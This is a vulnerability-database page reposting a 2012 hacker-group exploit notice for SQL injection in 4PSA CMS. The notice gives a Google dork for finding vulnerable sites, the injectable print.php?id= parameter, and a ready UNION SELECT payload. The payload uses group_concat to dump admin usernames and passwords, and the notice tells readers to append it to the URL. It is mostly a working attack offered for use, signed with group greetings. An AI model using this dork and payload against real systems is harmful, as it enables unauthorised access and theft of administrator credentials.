4PSA CMS SQL Injection Vulnerabilities

2012.02.20
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-89

################################################################################# # Exploit Title: 4PSA CMS SQL Injection Vulnerabilities # Google Dork: "Communications solution from 4PSA." # Date: 2012/02/19 # Category : [Web Application] # Author: #BHG Security Center # Discovered by : Nitrojen90 # WebSite:WwW.Black-hg.Org # Software Link: http://www.4psa.com/ # Version: Last Version # Security Risk::High # Tested on: GNU/Linux - Windows ################################################################################# # p0c : # # http://target.com/print.php?id=[SQL] # # write the code in front of the print.php?id= and enter for show all admin # # user & Pass. # # Eval Code : NULL UNION+SelEct+group_concat(uname,0x3a,pwd),2+FROM user-- # ################################################################################# ################################################################################# # Special Thanks To : Net.Edit0r - 3H34N - A.Cr0x - 4M!N - ArYaIeIrAN - G3n3rall # Mr.XHat - Bl4ck.Viper - Dj.TiniVini ################################################################################# # GreetZ : All Active Member in #BHG Security Center & md.r00t - hellboy - fr0nk #################################################################################

References:

http://www.4psa.com/


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top